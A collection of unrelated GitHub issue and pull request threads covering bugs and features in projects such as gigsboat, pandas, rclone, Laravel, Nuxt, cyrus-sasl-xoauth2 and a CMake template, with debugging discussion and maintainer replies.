Invalid markdown formatting when readme is updated

Expected Behavior
The generated readme.md file should contain correctly formatted markdown, which renders correctly in the repository.
Current Behavior
The generated readme.md file contains invalid/malformed content, which means that the header doesn't render correctly, as shown here:

Possible Solution
I haven't look into how the CLI works yet, so can't offer anything here at the minute
Steps to Reproduce (for bugs)

Cloned template repository
Followed steps in readme to create first gig
Noted that the Table of Contents header doesn't render correctly
Manually fixed the problem
Added a second gig
Noted that the Table of Contents header once again was formatted incorrectly

Context
After cloning the template repository, I added my first gig, and noticed that the Table of Contents header wasn't showing up correctly.  I tried manually editing it to correct the problem, which worked, but when I added another gig, it went back to the same problem, where the header wasn't showing correctly due to invalid spacing before the first #.
Your Environment
This was experienced in my repository here:
https://github.com/gep13-talks/public-speaking
Which was generated from the template repository

By adding a precontent section in to the gigsboat.json file, the issue with the invalid markdown for the heading has resolved itself.
You can see in this commit:
https://github.com/gep13-talks/public-speaking/commit/e9b8e0cddad6cf15ac7dc19c54c724a9ffd18447
That the heading starts at the beginning of the line, where as before, it had some spaces in front of it.

Ahh yes, indeed I can see the issue and as you said - related to the customization in gigsboat.json
Will shoot out a fix!

@lirantal thanks for getting this fixed up!


Type checking is once again broken in the 0.7.1 release

See here: https://github.com/nuxt-modules/mdc/pull/206#issuecomment-2131374361
The following recent PRs have broken type checking in downstream projects:

https://github.com/nuxt-modules/mdc/pull/180
https://github.com/nuxt-modules/mdc/pull/206

Would it be possible to add type checking in a simple Nuxt app to the test pipeline in the repo? I'd be happy to contribute but the test setup here is a bit custom

If the anchorLinks: boolean | object is going to be introduced, the ProseH1.vue component (and the rest of the heading components) need to be updated similar to this (could be better; just illustrating):
const generate = computed(() => props.id && typeof headings?.anchorLinks === 'object' && headings.anchorLinks.h1)


Robert Longson: Watch directdeals.com

Robert Longson requests the watch of the watch_keyword directdeals\.com. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

directdeals\.com has been seen in 0 true positives, 0 false positives, and 0 NAAs.

Approved by tripleee in Charcoal HQ


BUG: crosstab not working for integer types as columns

From the mailing list: https://groups.google.com/forum/?fromgroups#!topic/pydata/fpYfwkZvdxI
In [37]: tips = pd.read_csv('https://raw.github.com/pydata/pandas/master/pandas/tests/data/tips.csv')

In [38]: pd.crosstab(tips.day, tips.size)
Out[38]:
col_0  1708
day
Fri      19
Sat      87
Sun      76
Thur     62

In [39]: pd.__version__
Out[39]: '0.16.2'

while it should be:
In [3]: pd.crosstab(tips.day, tips.size)
Out[3]:
size  1   2   3   4  5  6
day
Fri   1  16   1   1  0  0
Sat   2  53  18  13  1  0
Sun   0  39  15  18  3  1
Thur  1  48   4   5  1  3

In [4]: pd.__version__
Out[4]: '0.14.1'

But strange thing is, I can't reproduce it with simple example:
In [43]: df = pd.DataFrame({'a':list('abcabcabcab'), 'b':[1,1,1,1,2,3,2,2,3,3,1]
})

In [44]: pd.crosstab(df['a'], df['b'])
Out[44]:
b  1  2  3
a
a  2  1  1
b  2  2  0
c  1  0  2

I think this is the problem:
In [22]: tips.size
Out[22]: 1708

tips.size is not accessing the 'size' column but rather the length of that column.

Indeed!


GUI questions

I have to question :)

Where i can find strings abc_capital_on and abc_capital_off which is "ON" and "OFF" strings in main setting menu for GCM?
Why Google device registration switch button is grey when enabled?

These strings are part of the android v7 support library.
Will be fixed before the 0.3 release.

These strings are part of the android v7 support library.
This means that these lines are not translatable?

The strings are translated as part of the library which is developed by Google. I don't know which languages are missing for it and if/how Google accepts translations for them.

Maybe move strings "On" and "Off" into MicroG for easy translate for all languages?

Can your answer?

The strings should be translated, will fix issue in loading them in next preview.

Okay, thanks! :)


Add HTML aria attribute autocomplete

Fixes #320
/cc @aeschli

Hi @Tyriar, I'm your friendly neighborhood Microsoft Pull Request Bot (You can call me MSBOT). Thanks for your contribution!
You've already signed the contribution license agreement. Thanks!
We will now validate the agreement and then real humans will evaluate your PR.
TTYL, MSBOT;

Should this take into account the aria attributes are not really global? Some are only valid if the element is a particular role (either via role attribute or the element's natural semantics)

That's beyond the abilities of the code currently, the same applies to a set of elements only being valid within certain elements (ul, ol can only contain only contain li elements) which doesn't happen at the moment. That and adding descriptions to all the tags/attributes (#323) I think should follow this. I made another issue to that effect #375

Sounds good

Thanks @Tyriar, very nice pull request!

And also HTML role attribute should auto-complete.

@zbandhan that was added in 98f95641 and successive commits.


--bwlimit Not Honored

When running RClone with the following command:

rclone sync /my/dir my-remote: --bwlimit .3M --transfers 32 --copy-links

You can see in my screenshot here (notice that I put .3 above and not 3, /my/dir has one 1.6GB file in it.)

That the bandwidth usage is far exceeding the limit I had placed in the command for rclone.
I am using FreeBSD 11.0 and RClone 1.36 pushing data to a Backblaze B2 remote with crypt. If I set bwlimit to 11k, the bandwidth usage is not visible on a graph, however 300k still is still max at 6Mbp/s (which kills my entire network).

Note that rclone measures its bandwidth limits in kByte/s and MByte/s not not bit/s
Using --bwlimit 0.3M gives you Starting bandwidth limiter at 307.199kBytes/s
Which should be approx 2.5 Mbit/s.  Not sure why you are seeing nearly 3 times that.
What happens if you try using --bwlimit 37k which should get you around 300kBit/s?

Setting --bwlimit to 37k completely kills rclone's upload speed. After about twenty minutes my B2 bucket shows a 0byte file (start of large file) which was created when rclone started. I have yet to see upload speeds go beyond 100KB/s, usually they sit around 10KB/s.

So I've confirmed that --bwlimit 150k and below causes almost nothing to transfer at all, and --bwlimit 200k or greater causes it to use 796KB/s (6 megabits).

Thanks for investigating further.
The sharp cutoff makes me think this might be to do with the timer or sleep resolution of FreeBSD.
Which processor are you running?
I can send you some binaries to try.

The server is running an Intel i7 Xeon lga1155 CPU.

I presume you are running 64 bit - if not I'll have to remake the binaries...
Can you post the results of what happens when you run this binary please?
https://www.craig-wood.com/nick/pub/timer-test
It should print something like this
time.Sleep(1s) actually slept for 1.000089761s
time.Sleep(500ms) actually slept for 500.201545ms
time.Sleep(250ms) actually slept for 250.153946ms
time.Sleep(125ms) actually slept for 125.16933ms
time.Sleep(62.5ms) actually slept for 62.704354ms
time.Sleep(31.25ms) actually slept for 31.35135ms
time.Sleep(15.625ms) actually slept for 15.832816ms
time.Sleep(7.8125ms) actually slept for 7.963973ms

And if you try running this version of rclone with -vv  to do your copies to b2 it will print lots of messages like this
https://www.craig-wood.com/nick/pub/rclone
2017/05/09 17:20:55 DEBUG : bwlimit sleep 0s
2017/05/09 17:20:55 DEBUG : bwlimit sleep 0s
2017/05/09 17:20:55 DEBUG : bwlimit sleep 100ms
2017/05/09 17:20:55 DEBUG : bwlimit sleep 100ms
I'd be interested in a sample of what those look like.
Can you also try copying to a different provider to see if you get the same problem?  (Eg sftp/google drive)
Thanks

$ ./timer-test
time.Sleep(1s) actually slept for 1.046278595s
time.Sleep(500ms) actually slept for 524.094102ms
time.Sleep(250ms) actually slept for 266.564617ms
time.Sleep(125ms) actually slept for 133.186994ms
time.Sleep(62.5ms) actually slept for 67.088254ms
time.Sleep(31.25ms) actually slept for 35.048683ms
time.Sleep(15.625ms) actually slept for 18.007113ms
time.Sleep(7.8125ms) actually slept for 9.468951ms
time.Sleep(3.90625ms) actually slept for 4.731283ms
time.Sleep(1.953125ms) actually slept for 2.862512ms
time.Sleep(976.562µs) actually slept for 1.925895ms
time.Sleep(488.281µs) actually slept for 1.988602ms
time.Sleep(244.14µs) actually slept for 1.989031ms
time.Sleep(122.07µs) actually slept for 1.988843ms
time.Sleep(61.035µs) actually slept for 1.986532ms
time.Sleep(30.517µs) actually slept for 1.99215ms
time.Sleep(15.258µs) actually slept for 1.988729ms
time.Sleep(7.629µs) actually slept for 1.989285ms
time.Sleep(3.814µs) actually slept for 1.989527ms
time.Sleep(1.907µs) actually slept for 919.469µs
time.Sleep(953ns) actually slept for 995.658µs
time.Sleep(476ns) actually slept for 3.11µs
time.Sleep(238ns) actually slept for 2.744µs
time.Sleep(119ns) actually slept for 2.696µs
time.Sleep(59ns) actually slept for 2.519µs
time.Sleep(29ns) actually slept for 2.469µs
time.Sleep(14ns) actually slept for 2.148µs
time.Sleep(7ns) actually slept for 1.936µs
time.Sleep(3ns) actually slept for 2.105µs
time.Sleep(1ns) actually slept for 2.021µs

I'll test the other script shortly.

I tried it on a FreeBSD VM and it worked fine with using --transfers 32, --bwlimit 0.3M to b2.
I compared the rates printed by rclone (in Bytes/s) to the speeds shown in iftop (in bits/s - divide by 8 to get bytes/s) and they matched quite closely for --bwlimit 0.3M and --bwlimit 0.1M.
Can you send me a log of  the file transferring with -vv --stats 10s please.
Can you also check the bandwidth with iftop so we can both be using the same tools?
Thanks

I'm really confused saying this, but --bwlimit seems to work flawlessly now for no apparent reason. I didn't update any drivers, and only updated other unrelated packages, so I'm not sure what caused this in the first place.

Are you still trying it on the same large >100MB file?

Yes, actually its several files. Its a total size of 89GB. The server was rebooted however, which may have accounted for an increase in stability. But at this point Rclone seems to be maintaining accurate bandwidth allocation.

That is good to hear!  I'll close this then, but please re-open if necessary.


Add ability to convert/parse CSV to store database documentation

This part of the documentation explain and shows how to configure CSV to WITSML <IP_ADDRESS> log object convertion

Ready for revision @efsh


First run of tool results in error due to state.json file not existing yet

This is likely due to eventual consistency, as running the same command a second time does not have the error, as the file gets created during the first execution.
error:

019-07-31T07:02:32 .Updating remote state at s3://xxxxx/master/state.json
2019-07-31T07:02:34 [ServiceError] {
service    = S3
status     = 404 Not Found
code       = NoSuchKey
message    = Just The specified key does not exist.
request-id = Just XXXXXXX
}

possible solution: implement a wait/retry after creating file.

This is coming out of the default AWS logging. I agree that we should avoid it to prevent confusion. Perhaps rather than catching the failure, (as we do now) we should instead check for presence of the file in S3 before download.


Error stays after clicking previous<->next while importing mnemonics.

To add more context:
Screencast from 2024-10-02 11-16-59.webm


 However there is also the inconveniences that go with moving everything as well.

The canonical location for the Go Project repositoritories is https://go.googlesource.com which is powered by gitiles, which is open source (github is just a mirror). Patches and codereviews are handled at gerrit, which is open source.
The only part of the project that is actually primarily github based is the issue tracker.
One can 1) get the source code and 2) contribute to the project (including sending patches and fixing bugs) without having a github account. You'll have to browse the github issue tracker if you're looking for issues to fix, but you can do that without an account. You can't create a new issue without a github account; and I agree that this is unfortunate.
In general, the project is much less dependant on github that it seems. Request to move away from github has been rejected in the past, and this issue doesn't seem to add much of interest to the discussion, so I'm closing this issue.


Marker rendering issue

I'm submitting a ...  (check one with "x")

[ ] question
[x] any problem or bug report
[ ] feature request

If you choose 'problem or bug report', please select OS:  (check one with "x")

[x] Android
[x] iOS

cordova information:  (run $> cordova plugin list)
com.googlemaps.ios 2.3.0 "Google Maps SDK for iOS"
com.testfairy.cordova-plugin 2.1.8 "TestFairy Plugin"
cordova-plugin-app-event 1.2.0 "Application Events"
cordova-plugin-badge 0.7.3 "Badges"
cordova-plugin-compat 1.0.0 "Compat"
cordova-plugin-console 1.0.4 "Console"
cordova-plugin-device 1.1.2 "Device"
cordova-plugin-fcm 2.1.2 "FCMPlugin"
cordova-plugin-geolocation 2.3.0 "Geolocation"
cordova-plugin-googlemaps 1.4.0 "phonegap-googlemaps-plugin"
cordova-plugin-splashscreen 2.0.0 "Splashscreen"
cordova-plugin-statusbar 2.1.3 "StatusBar"
cordova-plugin-whitelist 1.2.2 "Whitelist"
cordova-sqlite-storage 2.0.0 "Cordova sqlite storage plugin"
de.appplant.cordova.plugin.local-notification 0.8.4 "LocalNotification"
ionic-plugin-keyboard 2.2.1 "Keyboard"

It juts suddently happen yesterday, Also i try to update plugin's version already it still happen

In order to reproduce your issue, please share your project files (everything) on GitHub.

@wf9a5m75  It work fine before and yesterday I open the app then it just happen. sorry about share project file it is a company.

Ok, please debug it by yourself.


[10.x] Simple validation unexpectedly triggers Lang::handleMissingKeysUsing

This PR isn't intended to be merged in its current state, it is just adding a failing test highlighting that the Lang::handleMissingKeysUsing feature documented here...
    Lang::handleMissingKeysUsing(function (string $key, array $replacements, string $locale) {
        info("Missing translation key [$key] detected.");

        return $key;
    });

...isn't as helpful as I hoped, because doing a simple validation similar to that in this PR can result in one or more of the following items logged:

Missing translation key [validation.custom.foo.required] detected
Missing translation key [validation.attributes] detected.
Missing translation key [validation.values.foo.] detected.

You can probably work out that this is because to decide whether a lang key exists, the translator does the actual translation (resulting in handleMissingKeysUsing being fired), and then compares whether the translated string equals the key.
As many routes in every application will have validation, this means that the handleMissingKeysUsing feature isn't particularly useful as the logs just get absolutely spammed.
I'm not personally sure how to resolve this, if there's a quick fix someone can suggest I'm happy to push something up to this PR, but please let me know what you would like the next steps to be.
For now I've had to work around this in my application with the following:
    Lang::handleMissingKeysUsing(function (string $key, array $replacements, string $locale) {
        if (str_starts_with($key, 'validation.custom.') ||
            str_starts_with($key, 'validation.values.') ||
            $key === 'validation.attributes'
        ) {
            return $key;
        }

        info("Missing translation key [$key] detected.");

        return $key;
    });

Which works, but feels a bit hacky and I'm assuming you guys would prefer this was just handled out of the box?

@philbates35 just want to remind you about GitHub's draft state. Feel free to mark this as ready for review once you're ready with the PR.

@driesvints apologies - I use GitLab most of the time which is how you mark a PR as draft over there.
Anyway after a small change the test is now failing correctly:
There was 1 failure:

1) Illuminate\Tests\Integration\Translation\TranslatorTest::testValidatorDoesntTriggerMissingKeys
Failed asserting that 'validation.values.baz.' is null.

/home/runner/work/framework/framework/tests/Integration/Translation/TranslatorTest.php:97
/home/runner/work/framework/framework/vendor/orchestra/testbench-core/src/PHPUnit/TestCase.php:44

As I explained originally I'd hope for this test to pass. Let me know where we go from here, as I say I don't personally know exactly how this should be fixed but I'm happy to help out where I can. I'm leaving as draft for now though but that doesn't mean discussion can't happen. :smile:

@driesvints what would you like to me to do here given that I don't personally know how to resolve this and its been a few days with no comments? Should I leave the PR open (in draft I guess?) for it to be picked up as and when, or should I close this PR and create an issue linked to this PR that demonstrates the failing tests? Or something else?

Draft PRs are being used here when you still work on it. When you're done and it is ready for review change the state to open.

@dennisprudlo I guess you didn't read the PR description or any of my comments, I don't know how else to say it...

I found some unexpected behaviour in a documented feature
I have pushed up PR containing a new failing test proving the unexpected behaviour with IMO a clear description of what the issue is
I have been clear from the start I don't know how to resolve the issue or what the next step should be. I said if its quick fix I'm happy to push it up in this PR given some guidance from someone that knows the code base better.
I have also proposed in a previous comment that I could closing this PR and creating a linked issue instead if that is preferable for you guys, I've been trying to find out what you want me to do but I still don't know
I left the PR as draft because the PR contains a failing test only, so it isn't ready to merge - but I figured discussion could still happen on a draft PR? I guess that isn't the case

Anyway I've unmarked the PR as draft, it would be great if someone could let me know how you'd like me to proceed after someone has read the issue outlined in the PR description and looked at the failing test that I've pushed up, thanks.

Ah I see, you're right I have only seen the comment before you added the part about the intentional failing test, so I thought you didn't know what to do regarding the PR state.
In any case I guess it's still right to mark the PR as ready for review when there are no comments as Taylor will have a look at that. I might give it a look as well later at work 😅

Great thanks for clarifying @dennisprudlo, looking forward to hearing some thoughts on this.
Really I can only think of a few options, in order of preference (IMO):

Refactor the validator to have a way to check for the existence of a key without actually doing the translation (and therefore not triggering the call to handleMissingKeysUsing
Implement a way to temporarily disable calls to handleMissingKeysUsing before doing the validator translations then re-enable it again when done
Maintain a hard-coded list of translations that shouldn't trigger it

Maybe there's an option I haven't considered?

This community contributed feature seems to just be a headache to be honest. Will remove it from docs.

For reference https://github.com/laravel/docs/commit/3be2d18bf5bb509332cf24ddbd828610e793ff94.


Avoid logging the entire resource

Logging the entire resource might block the event loop thread.

Proposed Changes

Avoid logging the entire resource

/assign slinkydeveloper

/test pull-knative-sandbox-eventing-kafka-broker-integration-tests

/lgtm
/approve


Feature/model tests getter setter

Tests for non-trivial getters and setters of model classes.

Should we be using Hamcrest matchers instead of TestNG Asserts for consistency reasons?
Also I'm thinking of wanting to know how good the branch coverage for these tests is...

Okay, I've checked coverage locally, the following points are still open for testing:

PerfabSet.isChildOf is also true for grandchildren
SceneNode.isChildOf is also true for grandchildren
Trying Project.addScenario(null) should throw
Project.addScenario of a Scenario that is currently part of another Project should reparent.
Project.removeScenario of a Scenario that is currently part of this Project should set that scenario's Project to null.

The tests for adding scenarios to or removing them from projects are already implemented on the more general feature/model-tests branch.

Should be good now. I was debating whether the parent-sibling case should be a separate test case, but there is such a thing as overdoing it.


Integrate this into react-navigation?

Great component! This is the most highly requested features of the community for @react-navigation. Starting this issue to see if integration is possible.
iOS large title FR from Canny: https://react-navigation.canny.io/feature-requests/p/ios-11-large-header-and-growshrink-on-scroll
React Navigation: https://github.com/react-navigation/react-navigation

React Navigation Contributing Guidelines: https://reactnavigation.org/docs/en/contributing.html

@thomaswangio thanks for the issue and for nominating this package.
Closing this ticket bc your PR was merged. Noting some links for posterity:
Twitter discussion: https://twitter.com/thomaswangio/status/1179164439884386304?s=20
PR: https://github.com/react-navigation/react-navigation.github.io/pull/533/files
Link in react-navigation docs: https://reactnavigation.org/docs/en/next/community-libraries-and-navigators.html


Hangs when used over IMAP (mbsync)

Hi.
I tried to use the plugin with mbsync, to connect over IMAP using xoauth2 mechanism.
Unfortunately, it hangs when trying to use the plugin, apparently
Connection is now encrypted
M: * OK Gimap ready for requests from <IP_ADDRESS> 186mb276973608wmc
M: >>> 1 CAPABILITY
M: * CAPABILITY IMAP4rev1 UNSELECT IDLE NAMESPACE QUOTA ID XLIST CHILDREN X-GM-EXT-1 XYZZY SASL-IR AUTH=XOAUTH2 AUTH=PLAIN AUTH=PLAIN-CLIENTTOKEN AUTH=OAUTHBEARER AUTH=XOAUTH
M: 1 OK Thats all she wrote! 186mb276973608wmc
Logging in...
Authenticating with SASL mechanism XOAUTH2...

After that, it just stay there.
I don't think it is related to mbsync, the imap connection seems to work with another implementation
(https://github.com/robn/sasl2-oauth)
M: * OK Gimap ready for requests from <IP_ADDRESS> o8mb163401485wme
M: >>> 1 CAPABILITY
M: * CAPABILITY IMAP4rev1 UNSELECT IDLE NAMESPACE QUOTA ID XLIST CHILDREN X-GM-EXT-1 XYZZY SASL-IR AUTH=XOAUTH2 AUTH=PLAIN AUTH=PLAIN-CLIENTTOKEN AUTH=OAUTHBEARER AUTH=XOAUTH
M: 1 OK Thats all she wrote! o8mb163401485wme
Logging in...
Authenticating with SASL mechanism XOAUTH2...
M: >>> 2 AUTHENTICATE XOAUTH2 <token-redacted>
M: * CAPABILITY IMAP4rev1 UNSELECT IDLE NAMESPACE QUOTA ID XLIST CHILDREN X-GM-EXT-1 UIDPLUS COMPRESS=DEFLATE ENABLE MOVE CONDSTORE ESEARCH UTF8=ACCEPT LIST-EXTENDED LIST-STATUS LITERAL- SPECIAL-USE APPENDLIMIT=35651584
M: 2 OK <email-redacted> authenticated (Success)
Error: SASL(-13): authentication failure: server rejected XOAUTH2:
Warning: SASL reported failure despite successful IMAP authentication. Ignoring...

Well, there is also an error but it does work.
As the linked repo does not seem active, I'd reather user yours.
Would you have any pointers on what could cause that or on how I could debug it further ?
Thanks a lot :)

I'm gonna take a look into this.

This turned out to be a bug. Grab and build the latest on master to see if it's fixed.

Unreal, I just ran into this this morning and was about to submit a patch. Going through the process got me thinking if SASL_CB_USER and SASL_CB_AUTHNAME are used interchangeably, couldn't we check for either here? https://github.com/moriyoshi/cyrus-sasl-xoauth2/blob/6379368be6e984d41fd609f94208a32d28508afb/xoauth2_client.c#L192? With mbsync that avoids going around the loop one time. Not that it matters all that much I guess.

@felixSchl

Going through the process got me thinking if SASL_CB_USER and SASL_CB_AUTHNAME are used interchangeably, couldn't we check for either here?

The initial patch (which doesn't appear in the commit history) actually did so when it was run with the special environment variable SASL_XOAUTH2_ALSO_USE_USER_AS_AUTHNID set to "yes".  Later I figured out it used to work with Postfix because it provides client callbacks for  SASL_CB_AUTHNAME and SASL_CB_USER [1] and no SASL interactions should happen there, while mbsync fails to provide any client callbacks and passes credentials through an interaction loop.  As XOAUTH2 is an authentication process and the right callback in this context is SASL_CB_AUTHNAME, we need to go no futher than it for the first time.  This was simply a bug.
[1] https://github.com/vdukhovni/postfix/blob/af3d4ae2c3af1f999e2bb54cc449d7027dd8b853/postfix/src/xsasl/xsasl_cyrus_client.c#L309-L314 (for the authenticity of this unofficial mirror, look here)
[2] https://sourceforge.net/p/isync/isync/ci/master/tree/src/drv_imap.c#l1935

It is indeed fixed and works like a charm now.
Thanks a lot for your work /


ENOENT: no such file or directory

Environment

Operating System: Windows_NT
Node Version:     v16.17.0
Nuxt Version:     3.2.3
Nitro Version:    2.3.1
Package Manager<EMAIL_ADDRESS>Builder:          vite
User Config:      experimental, app, nitro, build, css, modules, runtimeConfig, typescript, vite, imports, sourcemap, postcss
Runtime Modules<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>Build Modules:    -

Reproduction
Error every time pnpm build is executed, But I don't know what the problem is, I hope to get your tips, please ~
Describe the bug
ENOENT: no such file or directory
Additional context
No response
Logs
[vite:vue] Could not load E:/\u79C1\u5355/rvtimes_nuxt3_h5/pages/car/screening/index.vue?macro=true&vue&type=script&setup=true&lang.ts (imported by pages/car/screening/index.vue?macro=true): ENOENT: no such file or directory, open 'E:/\u79C1\u5355/rvtimes_nuxt3_h5/pages/car/screening/index.vue'

 ERROR  Could not load E:/\u79C1\u5355/rvtimes_nuxt3_h5/pages/car/screening/index.vue?macro=true&vue&type=script&setup=true&lang.ts (imported by pages/car/screening/index.vue?macro=true): ENOENT: no such file or directory, open 'E:/\u79C1\u5355/rvtimes_nuxt3_h5/pages/car/screening/index.vue'

  at Object.openSync (node:fs:594:3)
  at Object.readFileSync (node:fs:462:35)
  at getDescriptor (/E:/%E7%A7%81%E5%8D%95/rvtimes_nuxt3_h5/node_modules/.pnpm/@vitejs+plugin-vue@4.0.0_vite@4.1.4+vue@3.2.47/node_modules/@vitejs/plugin-vue/dist/index.mjs:86:10)
  at Object.load (/E:/%E7%A7%81%E5%8D%95/rvtimes_nuxt3_h5/node_modules/.pnpm/@vitejs+plugin-vue@4.0.0_vite@4.1.4+vue@3.2.47/node_modules/@vitejs/plugin-vue/dist/index.mjs:2663:28)
  at /E:/%E7%A7%81%E5%8D%95/rvtimes_nuxt3_h5/node_modules/.pnpm/rollup@3.19.1/node_modules/rollup/dist/es/shared/node-entry.js:24343:40
  at async PluginDriver.hookFirstAndGetPlugin (/E:/%E7%A7%81%E5%8D%95/rvtimes_nuxt3_h5/node_modules/.pnpm/rollup@3.19.1/node_modules/rollup/dist/es/shared/node-entry.js:24243:28)
  at async /E:/%E7%A7%81%E5%8D%95/rvtimes_nuxt3_h5/node_modules/.pnpm/rollup@3.19.1/node_modules/rollup/dist/es/shared/node-entry.js:23531:75
  at async Queue.work (/E:/%E7%A7%81%E5%8D%95/rvtimes_nuxt3_h5/node_modules/.pnpm/rollup@3.19.1/node_modules/rollup/dist/es/shared/node-entry.js:24453:32)

Would you provide a reproduction? 🙏

Would you provide a reproduction? 🙏

It works fine in my development environment, but when I execute pnpm build it tells me ENOENT: no such file or directory, so I can't find the root cause of the problem, so I can't provide it.😢

Can you create a minimal project that has the same issue and then upload it to GitHub? What is your directory path? For what it's worth, it looks like the issue here is coming from vite or possibly rollup rather than Nuxt.

Thanks! If you could comment as well then I will check again when you update.

I think it's because non-ascii characters and script setup lang="ts" in pages file.
Here is the same issue with reproduction: #15113.

I think it's because non-ascii characters and script setup lang="ts" in pages file.
Here is the same issue with reproduction: #15113.

Yes, I did. This is the problem. Because my path contains Chinese, I was prompted that I could not find the file during packaging. Thank you very much for reminding me 😊

I also found this issue
filename: server/core/pay/alipay.ts
const __filename = fileURLToPath(import.meta.url)

const __dirname = path.dirname(__filename);

const config = {
  privateKey: fs.readFileSync(path.join(__dirname, '../../', 'server/config/payment/alipay/private-key.pem'), 'ascii'),
  alipayPublicKey: fs.readFileSync(path.join(__dirname, '../../', 'server/config/payment/alipay/public-key.pem'), 'ascii'),
}

export const alipaySdk = new AlipaySdk({
  appId: '2016102300745867',
  // privateKey: fs.readFileSync(path.join(__dirname, '../../', 'config/payment/alipay/private-key.pem'), 'ascii'),
  // alipayPublicKey: fs.readFileSync(path.join(__dirname, '../../', 'config/payment/alipay/public-key.pem'), 'ascii'),
  gateway: 'https://openapi.alipaydev.com/gateway.do',
  ...config
})

filename: nuxt.config.ts
export default defineNuxtConfig({
  rootDir: __dirname,
  srcDir: "client",
  serverDir: "server",
})

build output:
filename: .output/server/chunks/nitro/node-server.mjs
var alipayExports = alipay.exports;
const AlipaySdk = /*@__PURE__*/getDefaultExportFromCjs(alipayExports);

const __filename = fileURLToPath$1(globalThis._importMeta_.url);
const __dirname$1 = path$1.dirname(__filename);
const config = {
  privateKey: fs__default.readFileSync(path$1.join(__dirname$1, "../../", "config/payment/alipay/private-key.pem"), "ascii"),
  alipayPublicKey: fs__default.readFileSync(path$1.join(__dirname$1, "../../", "config/payment/alipay/public-key.pem"), "ascii")
};
const alipaySdk = new AlipaySdk({
  appId: "2016102300745867",
  // privateKey: fs.readFileSync(path.join(__dirname, '../../', 'config/payment/alipay/private-key.pem'), 'ascii'),
  // alipayPublicKey: fs.readFileSync(path.join(__dirname, '../../', 'config/payment/alipay/public-key.pem'), 'ascii'),
  gateway: "https://openapi.alipaydev.com/gateway.do",
  ...config
});

@danielroe

@icai Would you open a new issue with a reproduction? 🙏

@danielroe  just like this issue https://github.com/nuxt/nuxt/issues/14884

I think that's a problem with your code. Instead you can use useStorage and nitro bundled storage to access the fs in a reliable way.

@danielroe
demo for https://www.npmjs.com/package/alipay-sdk

import AlipaySdk from 'alipay-sdk';

const alipaySdk = new AlipaySdk({
  appId: '2016123456789012',
  // keyType: 'PKCS1',
  privateKey: fs.readFileSync('private-key.pem', 'ascii'),
  alipayPublicKey: fs.readFileSync('alipay-public-key.pem', 'ascii'),
});

the shortening issue, just for fs.readFileSync('private-key.pem', 'ascii')
the question to be how to use fs.readFileSync

some stackoverflow questions about this issue
https://stackoverflow.com/questions/76453100/how-to-read-txt-file-in-nuxt-3-in-a-folder
https://stackoverflow.com/questions/75874301/how-to-store-and-access-user-uploaded-files-inside-a-nuxt-3-app
@danielroe


Support for Arabic and other RTL languages in TextView

Description
I use your plugin in a Xamarin.Froms project with Arabic language support.  But unfortunately even if we add a font for Arabic the RTL of the text remains incorrect.
Description of the desired solution
I would very much like the TextView to support RTL
Difficulty:
Very Hard
Additional context
Currently, the primary rendering of glyphs is done through the Typography. For the subsequent rendering you use SkiaSharp.  Maybe if the full rendering process went through SkiaSharp you could use SkiaSharp.HarfBuzz.
Using the Skia we can also get a system TypeFace for drawing each character:
var charTypeface = SKFontManager.Default.MatchCharacter(numberChar);

Hopefully MAUI Graphics can help in this area.

How exactly can it help with this issue? As I understand it the Microsoft.Maui.Graphics will use SkiaSharp.HarfBuzz for rendering text.

MAUI Graphics has no mention of HarfBuzz anywhere.

I think I need to see how Microsoft.Maui.Graphics  works with text. We found a temporary solution for RTL:
https://github.com/fsufyan/BidiSharp
Now we need to make the text go from the right edge

For CSharpMath TextViews, there is a text alignment property.


Feature/presets enchancements

This PR contains several enhancement to the Cmake presets.

Setting "Ninja Multi-Config" as the default generator should have several benefits for your IDEs (see also #15)
Better structure of the hidden presets to facilitate better composability and extensibility!
Due to those changes different modes can be added depending on the use case (developer, user, ci etc.)

Currently we support 4 toolchains +1 mode option for msvc (thus 5 non-hidden configure presets) and the corresponding Debug and Release builds (thus 10 non-hidden buildPresets and 10 testPresets)
Since this is getting bigger and bigger with each new configuration option added to the project the configurePresets are doubled in numbers (e.g. msvc + mode option -> msvc Developer Mode and msvc User Mode) and the buildPresets and testPresets are quadrupled.
So, at this point I have the following questions.

Shall we consider adding a CMakeUserPresets.json file to that repository that has the default user settings for developing that project? What I have in mind is to let the default build options to the CMakePresets.json and move the user specific options (and modes) to the CMakeUserPresets.json.
Should I also add support for RelWithDebInfo for completeness?
Is it necessary to be able to run tests both in Debug and Release?
Should the mode option be added in all supported toolchains currently it is only in msvc. gcc clang and clang-cl do not have that option
What is the value of the 'ENABLE_DEVELOPER_MODE' if it is not defined?

@ddalcino @aminya @lefticus @oskidan some feedback would be welcome!
Also, @oskidan and @ddalcino can you check that those changes are still functional in macOS to make sure I didn't mess with #16
Co-Author: @ClausKlein Thank you for the feedback and your test in macOS that unfortunately cannot do.

Codecov Report

Merging #19 (75a6204) into main (f37c1ab) will decrease coverage by 3.70%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##             main      #19      +/-   ##
==========================================
- Coverage   77.77%   74.07%   -3.71%
==========================================
  Files           3        3
  Lines          36       27       -9
  Branches       19        0      -19
==========================================
- Hits           28       20       -8
  Misses          7        7
+ Partials        1        0       -1

Flag
Coverage Δ

Linux
∅ <ø> (∅)

Windows
74.07% <ø> (-5.93%)
:arrow_down:

macOS
?

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

src/main.cpp
22.22% <0.00%> (-20.64%)
:arrow_down:

test/tests.cpp
100.00% <0.00%> (ø)

test/constexpr_tests.cpp
100.00% <0.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update f37c1ab...75a6204. Read the comment docs.

@ddalcino on gcc Debug build the CI failed to install cmake is anything wrong?

@lefticus there are still some pending questions about the user/developer mode. And the combinatorial complexity of all the supported platforms, toolchains etc. Also, it was proposed by @ClausKlein to also support mingw and BSD

@ddalcino on gcc Debug build the CI failed to install cmake is anything wrong?

That looks like an issue with setup-cpp. Looks like it resolved itself though. If you're worried about it, you could file an issue. It's reasonable to expect that setup-cpp would either cache this dependency for us (our cache is turned on) or retry on error.

@lefticus there are still some pending questions about the user/developer mode. And the combinatorial complexity of all the supported platforms, toolchains etc. Also, it was proposed by @ClausKlein to also support mingw and BSD. @oskidan if I am not mistaken you mentioned that BSD should be supported with the current unixlike presets. Am I right?

